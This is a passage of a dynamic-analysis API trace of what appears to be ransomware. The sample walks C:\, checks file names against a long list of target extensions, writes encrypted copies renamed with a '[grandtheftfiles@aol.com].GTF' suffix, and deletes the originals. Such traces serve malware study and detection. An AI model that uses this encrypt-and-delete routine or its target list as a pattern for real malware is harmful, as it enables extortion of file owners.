	[0091.495] lstrlenW (lpString=".1cd") returned 4
	[0091.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.495] lstrlenW (lpString=".jpg") returned 4
	[0091.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.495] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.495] lstrlenW (lpString="J0099185.JPG") returned 12
	[0091.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.496] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3282) returned 1
	[0091.496] CloseHandle (hObject=0x31c) returned 1
	[0091.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220
	[0091.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.499] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.499] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.499] GetLastError () returned 0x0
	[0091.499] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xcd2, lpOverlapped=0x0) returned 1
	[0091.501] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0091.502] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.502] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.502] SetEndOfFile (hFile=0x340) returned 1
	[0091.502] CloseHandle (hObject=0x340) returned 1
	[0091.502] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.502] SetEndOfFile (hFile=0x31c) returned 1
	[0091.503] CloseHandle (hObject=0x31c) returned 1
	[0091.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1
	[0091.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.503] lstrlenW (lpString=".doc") returned 4
	[0091.503] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.503] lstrlenW (lpString=".docx") returned 5
	[0091.503] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0091.504] lstrlenW (lpString=".pdf") returned 4
	[0091.504] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.504] lstrlenW (lpString=".xls") returned 4
	[0091.504] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.504] lstrlenW (lpString=".xlsx") returned 5
	[0091.504] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0091.504] lstrlenW (lpString=".ppt") returned 4
	[0091.504] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.504] lstrlenW (lpString=".zip") returned 4
	[0091.504] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.504] lstrlenW (lpString=".rar") returned 4
	[0091.504] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.504] lstrlenW (lpString=".bz2") returned 4
	[0091.504] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.504] lstrlenW (lpString=".7z") returned 3
	[0091.504] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.504] lstrlenW (lpString=".dbf") returned 4
	[0091.504] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.504] lstrlenW (lpString=".1cd") returned 4
	[0091.504] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.504] lstrlenW (lpString=".jpg") returned 4
	[0091.504] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.504] lstrlenW (lpString=".doc") returned 4
	[0091.504] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.504] lstrlenW (lpString=".docx") returned 5
	[0091.504] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0091.504] lstrlenW (lpString=".pdf") returned 4
	[0091.504] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.504] lstrlenW (lpString=".xls") returned 4
	[0091.505] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.505] lstrlenW (lpString=".xlsx") returned 5
	[0091.505] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0091.505] lstrlenW (lpString=".ppt") returned 4
	[0091.505] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.505] lstrlenW (lpString=".zip") returned 4
	[0091.505] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.505] lstrlenW (lpString=".rar") returned 4
	[0091.505] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.505] lstrlenW (lpString=".bz2") returned 4
	[0091.505] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.505] lstrlenW (lpString=".7z") returned 3
	[0091.505] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.505] lstrlenW (lpString=".dbf") returned 4
	[0091.505] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.505] lstrlenW (lpString=".1cd") returned 4
	[0091.505] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0091.505] lstrlenW (lpString=".jpg") returned 4
	[0091.505] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.505] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.505] lstrlenW (lpString="J0099186.JPG") returned 12
	[0091.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.506] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=16738) returned 1
	[0091.506] CloseHandle (hObject=0x31c) returned 1
	[0091.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220
	[0091.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.506] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.506] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.506] GetLastError () returned 0x0
	[0091.507] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4162, lpOverlapped=0x0) returned 1
	[0091.508] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4170, lpOverlapped=0x0) returned 1
	[0091.510] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.510] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.510] SetEndOfFile (hFile=0x340) returned 1
	[0091.510] CloseHandle (hObject=0x340) returned 1
	[0091.510] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.510] SetEndOfFile (hFile=0x31c) returned 1
	[0091.511] CloseHandle (hObject=0x31c) returned 1
	[0091.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) 

Thread:
	id = 14
	os_tid = 0x10dc

	[0060.228] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x31f0938
	[0060.229] lstrlenW (lpString="C:") returned 2
	[0060.229] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x7397d8
	[0060.229] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0060.229] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0060.229] lstrlenW (lpString="$GetCurrent") returned 11
	[0060.229] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0060.229] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0060.230] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0060.230] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x739858
	[0060.239] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0060.240] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0060.240] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0060.240] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0060.240] lstrlenW (lpString="Logs") returned 4
	[0060.240] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0060.240] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0060.241] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0060.241] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739898
	[0060.244] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.244] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0060.244] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0060.244] lstrlenW (lpString=".1cd") returned 4
	[0060.244] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0060.244] lstrlenW (lpString=".3ds") returned 4
	[0060.244] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0060.244] lstrlenW (lpString=".3fr") returned 4
	[0060.244] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".3g2") returned 4
	[0060.245] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".3gp") returned 4
	[0060.245] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".7z") returned 3
	[0060.245] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0060.245] lstrlenW (lpString=".accda") returned 6
	[0060.245] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1
	[0060.245] lstrlenW (lpString=".accdb") returned 6
	[0060.245] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1
	[0060.245] lstrlenW (lpString=".accdc") returned 6
	[0060.245] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1
	[0060.245] lstrlenW (lpString=".accde") returned 6
	[0060.245] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1
	[0060.245] lstrlenW (lpString=".accdt") returned 6
	[0060.245] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1
	[0060.245] lstrlenW (lpString=".accdw") returned 6
	[0060.245] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1
	[0060.245] lstrlenW (lpString=".adb") returned 4
	[0060.245] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".adp") returned 4
	[0060.245] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".ai") returned 3
	[0060.245] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0060.245] lstrlenW (lpString=".ai3") returned 4
	[0060.245] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".ai4") returned 4
	[0060.245] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0060.245] lstrlenW (lpString=".ai5") returned 4
	[0060.246] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".ai6") returned 4
	[0060.246] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".ai7") returned 4
	[0060.246] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".ai8") returned 4
	[0060.246] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".anim") returned 5
	[0060.246] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1
	[0060.246] lstrlenW (lpString=".arw") returned 4
	[0060.246] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".as") returned 3
	[0060.246] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0060.246] lstrlenW (lpString=".asa") returned 4
	[0060.246] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".asc") returned 4
	[0060.246] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".ascx") returned 5
	[0060.246] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1
	[0060.246] lstrlenW (lpString=".asm") returned 4
	[0060.246] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".asmx") returned 5
	[0060.246] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1
	[0060.246] lstrlenW (lpString=".asp") returned 4
	[0060.246] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".aspx") returned 5
	[0060.246] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1
	[0060.246] lstrlenW (lpString=".asr") returned 4
	[0060.246] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0060.246] lstrlenW (lpString=".asx") returned 4
	[0060.247] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".avi") returned 4
	[0060.247] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".avs") returned 4
	[0060.247] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".backup") returned 7
	[0060.247] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1
	[0060.247] lstrlenW (lpString=".bak") returned 4
	[0060.247] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".bay") returned 4
	[0060.247] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".bd") returned 3
	[0060.247] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0060.247] lstrlenW (lpString=".bin") returned 4
	[0060.247] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".bmp") returned 4
	[0060.247] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".bz2") returned 4
	[0060.247] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".c") returned 2
	[0060.247] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0060.247] lstrlenW (lpString=".cdr") returned 4
	[0060.247] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".cer") returned 4
	[0060.247] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0060.247] lstrlenW (lpString=".cf") returned 3
	[0060.247] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0060.247] lstrlenW (lpString=".cfc") returned 4
	[0060.247] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".cfm") returned 4
	[0060.248] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".cfml") returned 5
	[0060.248] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1
	[0060.248] lstrlenW (lpString=".cfu") returned 4
	[0060.248] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".chm") returned 4
	[0060.248] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".cin") returned 4
	[0060.248] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".class") returned 6
	[0060.248] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1
	[0060.248] lstrlenW (lpString=".clx") returned 4
	[0060.248] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".config") returned 7
	[0060.248] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1
	[0060.248] lstrlenW (lpString=".cpp") returned 4
	[0060.248] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".cr2") returned 4
	[0060.248] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".crt") returned 4
	[0060.248] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".crw") returned 4
	[0060.248] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0060.248] lstrlenW (lpString=".cs") returned 3
	[0060.248] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0060.248] lstrlenW (lpString=".css") returned 4
	[0060.248] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".csv") returned 4
	[0060.249] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".cub") returned 4
	[0060.249] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dae") returned 4
	[0060.249] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dat") returned 4
	[0060.249] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".db") returned 3
	[0060.249] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0060.249] lstrlenW (lpString=".dbf") returned 4
	[0060.249] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dbx") returned 4
